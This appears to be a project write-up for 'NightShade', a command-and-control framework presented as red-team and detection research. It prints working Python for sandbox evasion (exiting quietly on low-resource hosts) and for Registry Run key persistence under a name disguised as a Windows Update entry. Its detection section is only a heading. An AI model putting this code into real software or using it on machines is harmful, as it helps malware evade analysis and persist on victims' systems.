NightShade C2 Framework

What It Is

A Command and Control (C2) framework simulates the infrastructure real threat actors use after gaining initial access to a target — the communication channel between an attacker's server and a compromised host. Understanding C2 at the implementation level is foundational to both red teaming and detection engineering.

NightShade was designed to implement the techniques documented in real-world threat intelligence reports — not as a point-and-click tool, but as a research platform for understanding how each component works and how defenders can detect it.

Architecture

The framework is split into three independent components that communicate over encrypted channels. Separating them means each can be developed, tested, and replaced independently.

Anti-Sandbox Evasion

Malware analysis sandboxes are automated environments that execute suspicious files and monitor their behavior. They have characteristic fingerprints that differ from real user machines. NightShade detects these fingerprints before executing its main payload.

def is_sandbox():
    if psutil.virtual_memory().total < 4 * (1024**3):  # < 4GB RAM
        return True
    if psutil.cpu_count(logical=False) < 2:            # < 2 physical cores
        return True
    if len(psutil.pids()) < 50:                        # < 50 processes
        return True
    return False

if is_sandbox():
    sys.exit(0)  # Exit cleanly — no crash, no alert

Persistence Mechanisms

Persistence ensures the agent survives reboots. NightShade implements Windows Registry Run key persistence — one of the most documented and commonly used persistence techniques in real-world malware, making it a high-value technique for both understanding and detecting.

import winreg

def establish_persistence(payload_path):
    key = winreg.OpenKey(
        winreg.HKEY_CURRENT_USER,
        r"Software\Microsoft\Windows\CurrentVersion\Run",
        0, winreg.KEY_SET_VALUE
    )
    winreg.SetValueEx(key, "WindowsUpdateHelper", 0,
                      winreg.REG_SZ, payload_path)
    winreg.CloseKey(key)

The registry key name is chosen to blend with legitimate Windows Update entries — a technique documented in MITRE ATT&CK as T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys).

Agent Capabilities

Detection and Defense

Every technique in NightShade was documented alongside its detection counterpart — this is what separates security research from just building malware.